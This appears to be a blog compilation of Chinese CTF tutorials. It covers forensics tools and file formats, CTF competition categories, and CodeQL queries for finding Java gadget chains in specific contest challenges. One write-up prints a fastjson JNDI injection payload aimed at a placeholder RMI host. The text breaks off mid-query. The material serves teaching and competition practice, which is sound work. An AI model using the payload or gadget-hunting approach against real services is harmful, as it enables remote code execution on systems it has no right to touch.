在巨人的肩头才会看见更远的世界,这是一篇来自技术牛人的神总结,运用多年实战经验总结的CTF取证方法,全面细致,通俗易懂,掌握了这个技能定会让你在CTF路上少走很多弯路,不看真的会后悔!
本篇文章大约6千字,阅读时间需20分钟,希望大家耐心看完!
取证
在CTF(Capture The Flag,中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式)中,取证的挑战可能包括文件格式分析,隐写术,内存转储分析或网络数据包捕获分析等。检查和处理静态数据文件,而不是可执行程序或远程服务器的隐藏信息,这其中任何挑战都可以被认为一个取证挑战,除非它涉及密码学,在这种情况下它可能属于Crypto类别。
取证是一个非常宽泛的CTF类别概念,因为这个叫法不能很好对应到安全行业中的特定工作角色,尽管一些挑战模拟了事件响应(IR)中看到的任务种类,即使在IR工作中,计算机取证通常是执法人员为了寻求证据数据和归属而做的事,很少有人是为了预防被攻击或仅仅是为了恢复系统完整性的商业行为。
与大多数CTF取证挑战不同,现实世界的计算机取证任务几乎不会涉及解开巧妙编码的字节、隐藏数据、文件夹中的mastroshka文件或其他复杂的问题。通常人们不会通过仔细重新组装损坏的PNG文件来破坏刑事案件的分析,揭示QR码的照片,该QR码解码为包含NES rom的zip存档的密码。
但是,现实世界的取证通常要求取证人找到间接的恶意证据,比如系统中的攻击者的痕迹或内部威胁行为的痕迹。实际的计算机取证主要在于对日志,内存,文件系统或注册表以及相关的文件和文件系统元数据中找到犯罪的线索。此外,网络(数据包捕获)取证更多的涉及元数据分析,而不是内容分析,因为现在大多数网络会话都在端点之间进行TLS加密。
之所以会在CTF进行这个脱离实践的挑战游戏,就是为了提高此项赛事的观赏性和难度。
为了解决这个挑战,你需要具备以下三个基本技能:
1、了解脚本语言,例如Python;
2、知道如何处理该语言的二进制数据(字节级操作);
3、识别格式、协议、结构和编码。
当然,像大多数CTF一样,理想的环境是一个Linux系统。如果你愿意使用Windows系统也行,不过不建议用Mac系统。
在Python中处理二进制数据
假设你已经选择了一些Python编程,你仍然可能不知道如何有效的处理二进制数据。像C这样的低级语言可能更适合这个任务。
以下是使用Python中的二进制数据的一些示例。
以二进制方式写入或读取文件:
f = open('Reverseit', "rb")s = f.read()f.close()f = open
('ItsReversed', "wb")f.write(s[::-1])f.close()bytearray类型是一个可变的字节序列,可以在Python 2和3中使用:
你还可以从十六进制表示的Unicode字符串中定义一个bytearray:
bytearray类型具有与Python str或list大致相同的方便方法split(), insert(), reverse(),extend(),pop(),remove()等。
将一个文件读入一个字母进行处理:
data = bytearray(open('challenge.png', 'rb').read())
常见取证概念和工具
文件格式识别和魔术字节
几乎所有的取证挑战都将涉及一个文件,通常会在没有任何上下文的环境中让你猜测这个文件是干什么的。 Filetype作为用户熟知的概念,历史上已被指定为filetype扩展名,例如,MarkDown的readme.md,MIME类型,如Web上Content-Type头文件,或者存储在文件系统中的元数据(as在MacOS中使用mdls命令)。在CTF中,比赛的一部分就是使用启发式方法来自己识别文件。
用于在UNIX上识别文件类型的传统启发式是libmagic,它是用于识别所谓的“魔术数字”或“魔术字节”的库,它是文件类型头文件中的唯一标识标记字节。 libmagic 库是文件命令的基础。
$ file screenshot.png screenshot.png: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced请记住,启发式和使用它们的工具很容易被混淆。因为在比赛中,你可能会看到一个被故意制作来误导的文件。另外,如果一个文件包含一个嵌入其中的其他文件,那么文件命令只能识别包含的文件类型。在这些情况下,你可能需要更仔细的检查文件内容。
TrID是更复杂的文件版本,虽然它是封闭源代码,但它是免费的,可以跨平台运行。它还使用识别启发式,又具有确定的百分比。它的优点是其较大的已知文件类型,包括现实世界中看到的许多专有和晦涩的格式。
File Carving
File Carving是数字取证研究中频繁使用的一种文件恢复技术,它从表面上无差别的二进制数据集,即原始磁盘映象中提取(或者说恢复)文件,而不利用磁盘映象的文件系统类型。这个过程就如同在一块光滑的石头上雕刻出许多图案一样,故称之为“Carving”(雕刻)。
scalpel,现在是SleuthKit的一部分,SleuthKit是File Carving的另一种工具,以前称为Foremost。
要手动提取文件的子部分,可以使用dd命令。许多十六进制编辑器还提供复制字节并将其粘贴为新文件的功能,因此你不需要研究偏移量。
以下是使用dd从文件偏移量1335205处进行File Carving的示例,长度为40668937字节:
$ dd if=./file_with_a_file_in_it.xxx of=./extracted_file.xxx bs=1 skip=1335205 count=40668937尽管上述工具应该足够了,但在某些情况下,你可能还需要使用Python编程方式提取文件的子部分,使用Python的re或regex模块来识别魔术字节,以及zlib模块来提取zlib流。
初始分析
在搜索文件中的所有纯文本字符串时要用到一些有用的命令字符串,比如,grep是用来搜索特定的字符串,bgrep是用来搜索非文本数据模式和hexdump。
以下是使用字符串查找ASCII字符串和文件偏移量的示例:
$ strings -o screenshot.png 12 IHDR 36 $iCCPICC Profile 88 U2EI4HB... 767787 IENDUnicode字符串(如果是UTF-8)可能会显示在搜索ASCII字符串中,但是要搜索其他编码,请参阅-e标志的文档。请注意字符串会存在许多编码陷阱。
以下是在PNG文件中搜索PNG魔术字节的示例:
$ bgrep 89504e47 screenshot.png screenshot.png: 00000000以下是使用hexdump的例子:
hexdump的优点不在于它是最好的十六进制编辑器,而是可以将其他命令的直接输出管道转换为hexdump,或将其输出管道输出到grep又或者使用格式字符串对其输出格式化。
以下是使用hexdump格式字符串将文件的前50个字节作为一个64位整数以十六进制输出:
hexdump命令的其他用途
二进制文本编码
二进制就是1和0,但通常作为文本传输,传输101010101的实际序列将是浪费的,因此首先要使用各种方法对数据进行编码。这就是所谓的二进制到文本编码。当对上述文件进行字符串分析时,你可能会发现编码为文本字符串的二进制数据。
前面已经说过取证最重要的是能够识别编码,有一些可以一目了然地识别,例如Base64编码的内容,可以通过其字母数字字符集和其“=”填充后缀识别。网上有很多Base64编码器或者可以使用base64命令:
$ echo aGVsbG8gd29ybGQh | base64 -Dhello world!ASCII编码的十六进制也可以通过其字符集(0-9,A-F)来标识,ASCII字符本身占用了一定范围的字节(0x00到0x7f,见man ascii),所以如果你正在检查一个文件并找到一个像68 65 6c 6c 6f 20 77 6f 72 6c 64 21这样的字符串,那么请注意这就是ASCII码。在技术上,它是以ASCII(二进制)编码为十六进制编码的文本。
目前已经有几个网站为各种编码提供在线编码解码器,对于本地的转换器,请尝试使用xxd命令。
以下是使用xxd执行text-as-ascii-to-hex编码的示例:
$ echo hello world! | xxd -p68656c6c6f20776f726c64210a
普通文件格式
前面介绍了通用取证任务的基本概念和工具,接下来将更具体介绍一些有挑战的取证方法以及用于分析每个方法中的推荐工具。
对每种可能的数据格式做准备是不可能实现的,但在CTF中有一些是特别受欢迎的,例如你需要准备以下工具:
· 归档文件(ZIP,TGZ)
· 图像文件格式(JPG,GIF,BMP,PNG)
· 文件系统映像(特别是EXT4)
· 数据包捕获(PCAP,PCAPNG)
· 内存转储
· 视频(特别是MP4)或音频(尤其是WAV,MP3)
· Microsoft的Office格式(RTF,OLE,OOXML)
分析文件格式时,文件格式感知(a.k.a.模板化)十六进制编辑器,如010编辑器,一个被称为Kaitai的开源产品,此外,Wireshark网络协议分析仪的一个不太知名的功能是能够分析某些媒体文件格式,如GIF,JPG和PNG。然而,所有这些工具都是用于分析未损坏和格式良好的文件,许多CTF挑战会让参赛者根据丢失或清零的格式字段等重建文件的任务。
Zip文件的分析
大多数CTF挑战都包含在zip,7z,rar,tar或tgz文件中,但只有在取证挑战中,存档容器文件才是挑战的一部分。通常,挑战的目标是从损坏的存档中提取文件或者在未使用的字段中找到嵌入的数据(常见的取证挑战),而zip文件是目前最常见的。
有一些zip文件的命令行工具将有助于我们的分析:
· unzip通常会输出有关zip无法解压原因的有用信息。
· zipdetails -v将提供有关格式各个字段中存在的值的深入信息。
· zipinfo列出了有关zip文件内容的信息,而不提取它。
· zip -F input.zip –out output.zip和zip -FF input.zip –out output.zip尝试修复损坏的zip文件。
· fcrackzip brute-force会尝试猜测一个密码小于7个字符的zip密码。
Zip文件格式规范
与密码保护的RAR或7z文件不同,zip文件的一个重要的安全相关注意事项是它们不加密其包含压缩文件的文件名和原始文件大小。
关于zip破解的另一个注意事项是,如果你有加密zip中压缩的任何一个文件的未加密或未压缩副本,你可以执行明文攻击并破解zip。用于密码保护zip文件的新方案(使用AES-256,而不是“ZipCrypto”)并没有这个弱点。
图像文件格式分析
图像文件格式是复杂的,会以许多方式被攻击,这就使得挑战涉及元数据字段,有损和无损压缩,校验和隐写术或视觉数据编码方案。
简单的初步分析步骤是使用exiftool来检查图像文件的元数据字段,如果图像文件的挑战被滥用于CTF,则其EXIF可能会识别原始图像尺寸,相机类型,嵌入的缩略图,注释和版权字符串,GPS位置坐标等。
exiftool输出示例:
特别是,PNG文件在CTF挑战中很受欢迎,可能是因为它们的无损压缩适用于隐藏图像中的非可视数据。可以在Wireshark中解析PNG文件,要验证是否正确或尝试修复损坏的PNG,你可以使用pngcheck。如果你需要深入挖掘PNG,pngtools软件包可能会有用。
利用隐写术在一个不相关的数据中隐藏一些秘密数据的做法在现实中非常罕见,所以在CTF中的另一个受欢迎的取证挑战就是利用隐写术来破解任何类型的数据。隐写术的挑战难点在于,提取隐藏的消息不仅需要使用隐写术的检测,而且还需要用于嵌入隐藏消息准确的隐写工具。如果我们怀疑某文件使用了隐写术,我们至少要检查它是否存在。 Stegsolve通常用于将各种隐写术技术应用于图像文件,以尝试检测和提取隐藏的数据,你也可以试试zsteg。
Gimp提供了改变图像文件的视觉数据的能力,曾经有CTF挑战者使用改变的色相、饱和度、亮度值和颜色通道来隐藏秘密信息。Gimp还有助于确认是否真的是一个图像文件,例如,当你从内存转储或其他地方的显示缓冲区恢复图像数据,但是缺少指定像素格式的图像文件头,图像高度和宽度等,Gimp会将你的数据作为原始图像数据打开,并尝试使用不同的设置。
ImageMagick工具可以合并到脚本中,让你能够快速识别,调整大小,裁剪,修改,转换或以其他方式处理图像文件。它也可以使用比较功能找到两个看似相同的图像之间的视觉和数据差异。
如果你正在编写自定义图像文件格式解析器,请导入Python图像库(PIL),也称为Pillow。它可以让你从动画GIF中提取帧,甚至可以从JPG中提取单个像素,它支持大多数主要图像文件的格式。
如果使用QR码(2D条形码),还可以查看Python的qrtools模块。你可以使用少于5行的Python来解码QR码的图像。当然,如果你只需要解码一个QR码,任何智能手机都可以。
文件系统分析
计算机取证中的分类是指迅速缩小查看内容的能力,以下是安装CD-ROM文件系统映像的示例:
mkdir /mnt/challengemount -t iso9660 challengefile /mnt/challenge一旦安装了文件系统,tree命令会帮你快速查看目录结构,看看是否有任何东西可以进一步分析。
你可能没有在可视文件系统中查找文件,但很有可能是一个隐藏的卷,未分配的空间(不是任何分区的一部分的磁盘空间),已删除的文件或非文件文件系统结构,
如http://www.nirsoft.net/utils/alternate_data_streams.html。对于EXT3和EXT4文件系统,你可以尝试使用extenelete查找已删除的文件。对于其他的,比如TestDisk,恢复丢失的分区表,修复损坏的分区,取消删除FAT或NTFS上的文件等。
Sleuth Kit及其附带的基于Web的用户界面“Autopsy”是用于文件系统分析的强大开源工具包,可以帮助你在整个磁盘映像中搜索关键字或查看未分配的空间等任务。
嵌入式设备文件系统是独有的类别,专门针对固定功能的低资源环境,可以压缩,单文件或只读。 Squashfs是嵌入式设备文件系统的一种流行实现工具。对于嵌入式设备的图像,你最好使用固件模块或二进制解析器进行分析。
数据包捕获(PCAP)文件分析
CTF挑战之一就是提供一个表示一些网络流量的PCAP文件,并挑战播放器恢复或重构传输的文件或传输的秘密。
要进行初步分析,请使用Wireshark的统计信息或对话视图或其capinfos命令对数据包进行高级视图。Wireshark及其命令行版本tshark都支持使用“过滤器”功能,如果你掌握语法,则可以快速减少分析范围。
还有一个名为PacketTotal的在线服务,你可以提交高达50MB的PCAP文件,并在安全连接上以图形方式显示连接的时间线和SSL元数据。此外,它将突出显示文件传输并显示任何“可疑”活动。如果你已经知道要搜索的内容,可以使用ngrep进行grep搜索。
正如File Carving一样,识别和提取文件中嵌入的文件,而“分组式的File Carving”则是用于描述从数据包捕获中提取文件的术语,它是用于从捕获的数据包中恢复文件的昂贵商业工具,但是一个开放源代码的选择是Xplico框架。Wireshark还具有“导出对象”功能,用于从捕获中提取数据,例如,File – > Export Objects – > HTTP – > Save all。除此之外,你可以尝试使用tcpxtract,Network Miner, Foremost或Snort。
如果要编写自己的脚本直接处理PCAP文件,建议使用用于pcap操作的dpkt Python包。你也可以使用Wirepy从你的Python中使用Wireshark。如果尝试修复损坏的PCAP文件,则有一个在线服务来修复名为PCAPfix的PCAP文件。
关于PCAP与PCAPNG的注意事项,有两个版本的PCAP文件格式。你可能需要使用Wireshark或其他兼容工具将文件从PCAPNG转换为PCAP,以便在其他工具中使用它。
内存转储分析
多年来,人们一直把计算机取证与文件系统取证看作是同一回事,但随着攻击越来越复杂,攻击者开始避开磁盘。而且内存快照通常包含在磁盘上无法找到的上下文和线索中,因为它们只存在于运行时,例如操作配置,远程攻击shellcode,密码和加密密钥等。因此,内存快照或内存转储取证已经成为事件响应中的流行做法。
用于内存转储分析的首选开源框架是Volatility,Volatility是用于解析使用外部工具,或通过暂停VM收集的VMware内存映像收集的内存转储的Python脚本。因此,只要知道内存转储文件和相关的配置文件(收集转储的操作系统),Volatility就可以开始识别数据中的结构,运行进程,密码等,它还可以使用插件来提取各种工件类型。
Ethscan用于在内存转储中查找看起来像网络数据包的数据,然后将其解压缩到pcap文件中,以便在Wireshark中查看,用于提取SQL数据库,Chrome历史记录,Firefox历史等的插件。
PDF文件分析
PDF是一个非常复杂的文档文件格式, PDF格式是部分纯文本,如HTML,但内容中包含许多二进制对象。二进制对象可以是压缩或甚至加密的数据,并且包括脚本语言中的内容,如JavaScript或Flash。要显示PDF的结构,你可以使用文本编辑器浏览它,也可以使用PDF感觉文件格式编辑器打开它,如Origami。
qpdf是一个可以用于探索PDF并从中转换或提取信息的工具。另一个是Ruby中的一个框架,叫做Origami。
当探索隐藏数据的PDF内容时,隐藏位置通常指的是以下几个:
· 不可见层
· Adobe的元数据格式“XMP”
· PDF的“增量生成”功能,其中保留先前版本,但对用户不可见
· 在白色背景上的白色文本
· 文字背后的图像
· 重叠图像后面的图像
· 未显示的评论
还有几个Python包用于处理PDF文件格式,如PeepDF,可以让你编写自己的解析脚本。
视频和音频文件分析
与图像文件格式一样,可以使用stegonagraphy在内容数据中嵌入一个秘密消息,也要知道检查文件元数据区域的线索。第一步是使用mediainfo工具或exiftool来查看内容类型并查看其元数据。
Audacity是很流行的开源音频文件和波形查看工具,CTF挑战者喜欢将文本编码成音频波形,尽管一个名为Sonic Visualiser的专用工具特别适合此任,但我还是建议使用spectogram视图查看。Audacity还可以让你减缓,反转和执行其他可能显示隐藏消息的操作,Sox是转换和操作音频文件的另一个有用的命令行工具。
检查秘密消息的最低有效位(LSB)也是常见的。大多数音频和视频媒体格式使用离散方式以便可以流式传输,最低有效位的方法就是偷走某些数据而不会明显影响文件的常见地点。
其他时候,消息可能会被编码为DTMF音调或莫尔斯码。
视频文件格式实际上是容器格式,其中包含音频和视频的单独流,它们被多路复用在一起进行播放。为了分析和处理视频文件格式,建议使用ffmpeg。 ffmpeg –i可以给出文件内容的初步分析。它还可以解复用或回放内容流。
办公文件分析
迄今为止,微软已经创建了数十种Office文档文件格式,其中许多文件格式已经被网络钓鱼和恶意软件作为传播恶意程序的载体,因为它们包含宏(VBA脚本)。Office文档取证分析与PDF文档取证并不相同。
一般来说,Office文件格式有两种类型:OLE格式(RTF,DOC,XLS,PPT等文件扩展名)和“Office Open XML”格式(包括DOCX,XLSX,PPTX的文件扩展名)。两种格式都是结构化的复合文件二进制格式,可以启用链接或嵌入式内容。OOXML文件实际上是zip文件容器,这意味着检查隐藏数据的最简单方法之一是简单地解压缩文档:
你可以看到,一些结构是由文件和文件夹层次结构创建的,其余的在XML文件中指定。
另外,Python工具集存在用于检查和分析OLE和OOXML文档——oletools。对于OOXML文档,OfficeDissector和Python库是一个非常强大的分析框架。有时,对办公文件分析的挑战不是找到隐藏的静态数据,而是分析一个VBA宏来确定其行为。
上述解析器工具可以指示宏是否存在,并可能为你提取数据。 Windows文档中的一个典型的VBA宏会将PowerShell脚本下载到%TEMP%,并尝试执行它,在这种情况下,你可以使用PowerShell脚本分析任务。但恶意的VBA宏不会很复杂,因为VBA通常只是作为一个跳出平台来引导代码执行。
如果宏被模糊化并且具有解压缩程序,则不需要拥有Office许可证来进行调试。你可以使用Libre Office,任何已调试程序的人都会熟悉其界面。你可以设置断点并创建观察变量,并在解压后捕获其值,但在执行任何有效负载行为之前,可以从命令行启动特定文档的宏:
$ soffice path/to/test.docx macro://./standard.module1.mymacro
春日生活打卡季#
CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。
CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。
CTF竞赛模式具体分为以下三类:
1、解题模式(Jeopardy)
在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。
2、攻防模式(Attack-Defense)
在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。
3、混合模式(Mix)
结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。
PWN(溢出):PWN在黑客俚语中代表着攻破,取得权限,在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有栈溢出、堆溢出。在CTF比赛中,线上比赛会有,但是比例不会太重,进入线下比赛,逆向和溢出则是战队实力的关键。主要考察参数选手漏洞挖掘和利用能力。
MISC(安全杂项):全称Miscellaneous。题目涉及流量分析、电子取证、人肉搜索、数据分析、大数据统计等等,覆盖面比较广。我们平时看到的社工类题目;给你一个流量包让你分析的题目;取证分析题目,都属于这类题目。主要考查参赛选手的各种基础综合知识,考察范围比较广。
CRYPTO(密码学):全称Cryptography。题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。实验吧“角斗场”中,这样的题目汇集的最多。这部分主要考查参赛选手密码学相关知识点。
WEB(web类):WEB应用在今天越来越广泛,也是CTF夺旗竞赛中的主要题型,题目涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码审计、上传等漏洞。这些题目都不是简单的注入、上传题目,至少会有一层的安全过滤,需要选手想办法绕过。且Web题目是国内比较多也是大家比较喜欢的题目。因为大多数人开始安全都是从web日站开始的。
REVERSE(逆向):全称reverse。题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译扎实功底。需要掌握汇编,堆栈、寄存器方面的知识。有好的逻辑思维能力。主要考查参赛选手的逆向分析能力。此类题目也是线下比赛的考察重点。
PPC(编程类):全称Professionally Program Coder。题目涉及到程序编写、编程算法实现。算法的逆向编写,批量处理等,有时候用编程去处理问题,会方便的多。当然PPC相比ACM来说,还是较为容易的。至于编程语言嘛,推荐使用Python来尝试。这部分主要考察选手的快速编程能力。
STEGA(隐写):全称Steganography。隐写术是我开始接触CTF觉得比较神奇的一类,知道这个东西的时候感觉好神奇啊,黑客们真是聪明。题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛选手获取。载体就是图片、音频、视频等,可能是修改了这些载体来隐藏flag,也可能将flag隐藏在这些载体的二进制空白位置。有时候需要你侦探精神足够的强,才能发现。此类题目主要考查参赛选手的对各种隐写工具、隐写算法的熟悉程度。实验吧“角斗场”的隐写题目在我看来是比较全的,以上说到的都有涵盖。新手盆友们可以去了解下。
方向A:PWN+Reserver+Crypto随机搭配
方向B:Web+Misc组合
Misc所有人都可以做
推荐图书:
A方向:
B方向:
CodeQL是近几年很火的一个语义代码分析引擎,使用CodeQL可以像查询数据一样来查询代码,编写查询用于查找代码中的漏洞。笔者作为一名安全竞赛研究员,尝试使用CodeQL来协助CTF中Java题目的代码审计。本文将围绕着使用CodeQL来查询Java中函数的流向,以及类与函数常用谓词的运用,在CTF的代码审计时快速判断某个函数是否会流向一些可能存在利用的函数。
关于CodeQL的环境安装教程,网上已经有比较多的文章了,这里就不赘述。给出几个参考链接:
https://github.com/github/codeql
https://www.anquanke.com/post/id/266823
https://www.freebuf.com/sectool/269924.html
https://tttang.com/archive/1322/
查询的过程中,我们如果想要查询某个类(或方法),这时就需要通过一些谓词来限制这个类(或方法)的一些特征。
先从网上下载一个已经打包的数据库:
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip
在CodeQL中,RefType就包含了我们在Java里面使用到的Class,Interface的声明,比如我们现在需要查询一个类名为XStreamHandler的类,但是我们不确定他是Class还是Interface,我们就可以通过 RefType定义变量后进行查询,如下
import java
from RefType c
where c.hasName("XStreamHandler")
select c
RefType中常用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html
getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()
获取XStreamHandler的fromObject可以通过构造如下查询语句:
import java
from RefType c, Callable cf
where
c.hasName("XStreamHandler") and
cf.hasName("fromObject") and
cf = c.getACallable()
select c, cf
在CodeQL中,Java的方法限制,我们可以使用Callable,并且Callable父类是 Method (普通的方法)和 Constructor(类的构造方法)
对于方法调用,我们可以使用call,并且call的父类包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmt 和 SuperConstructorInvocationStmt
现在我们需要查询有哪些地方调用了XStream.fromXML,可以构造如下的查询:
import java
from MethodAccess c, Callable cb
where
cb.hasName("fromXML") and
cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
c.getMethod() = cb
select c
Callable常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html
polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制
Call中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html
getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置
现在我们先构建一个mybatis-3的数据库,通过CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"进行编译,编译完导入vscode就行
mybatis-3的下载链接:https://github.com/mybatis/mybatis-3
我们先编写一个限制方法名为lookup,并且他所属的类或者接口是javax.naming.Context的类,点击快速查询得到三个结果:
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
然后再编写一个限制方法名满足getter和setter的类,我们点击快速查看,可以得到很多结果。
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
现在我们需要找到一个可以从getter和setter方法到lookup的路径,这个时候可以利用edges和Callable中的谓词polyCalls进行构造,通过查询可以得到一个结果,也就是 fastjson 1.2.45里面的一个绕过方法。
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html
/**
* @kind path-problem
*/
import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"、
SUSCTF2022的gadeget题目考察的是:fastjson JNDI注入、JNDI注入绕过高版本jdk限制、绕过RASP等。
做这个题目的时候,有一步是需要我们找到通过fastjson利用quartz依赖包的gadeget触发反序列化。
通过 https://github.com/quartz-scheduler/quartz 下载源码包,然后通过以下命令生成数据库:
CodeQL database create quartz_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"
然后导入到CodeQL里面。需要注意的是,如果这个数据库通过https://github.com/waderwu/extractor-java这个工具生成quartz2.2.1数据库的话会导致查询不到getTransaction函数,查看相应代码的AST(抽象语法树)发现,AST这里并没有把getTransaction解析为函数。
然后通过如下的codeql语句进行查询,整个codeql的查询意义是先找到一个从getter或者setter出发的函数,是否能流到lookup的调用,并且这个lookup调用时的参数是存在相应的setter进行赋值操作。
/**
* @kind path-problem
*/
import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup") and
exists(FieldAccess f, Class cl |
this.getAnArgument() = f and
cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
this.getCaller().getDeclaringType() = cl
)
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"
可以发现扫到了很多地方,但是主要触发点就两个:
经过筛选,我们发现可以通过JTANonClusteredSemaphore的方法getTransaction触发jndi
所以我们就可以构造poc,远程可以收到请求,利用成功。
[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]
MRCTF2022的ezjava题目考察的是:bypass SerialKiller、反序列化链构造等。
题目环境:
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller
题目对一些类进行了过滤,很容易想到出题人就是让我们绕过限制,过滤了如下的类,结合之前对cc链的掌握,我们知道cc链在最后代码执行或者命令执行的sink就两个地方,一个是通过反射到命令执行,另一个是通过TrAXFilter和TemplatesImpl的配合进行代码执行,他这里就只是过滤了最后触发的地方,前面反序列化到LazyMap.get()都是可以用的。
这次生成cc3.2.1数据库我用的是如下链接的工具(需要注意一点是在linux上面构建数据库的codeql版本最好和在vscode里面使用的版本一致),因为没有安装相应版本的jdk进行编译,直接通过mvn构建时报错。
https://github.com/waderwu/extractor-java
这里我选择的是找到一个其他可以利用的点,这个点是可以触发Constructor.newInstance的方法,具体构建查询如下
/**
* @kind path-problem
*/
import java
class NewInstanceCall extends Call {
NewInstanceCall() {
this.getCallee().getDeclaringType() instanceof TypeConstructor and
this.getCallee().hasName("newInstance") and
not getCaller().getDeclaringType().hasName("InvokerTransformer") and
not getCaller().getDeclaringType().hasName("ChainedTransformer") and
not getCaller().getDeclaringType().hasName("ConstantTransformer") and
not getCaller().getDeclaringType().hasName("InstantiateTransformer")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ChainedTransformer") and
not getDeclaringType().hasName("ConstantTransformer") and
not getDeclaringType().hasName("InstantiateTransformer")
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"
最后人工筛选确定使用FactoryTransformer.transform为新的触发点,具体poc可以参考:
https://guokeya.github.io/post/tLCxJb1Sl/
https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller
hfctf2022的ezchain题目考察的是:hessian反序列化链构造等。
题目环境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain
因为这次跑CodeQL需要生成相应jdk的数据库,所以关于数据库的生成可以参考下面两个链接:
https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/
https://blog.csdn.net/mole_exp/article/details/122330521
在这个题里面的利用主要就是通过getter查找到二次反序列化点和命令执行,但是这次没有选用递归的形式,因为递归太慢了,不过有时间可以跑跑看还有没有其他的点。
/**
* @kind path-problem
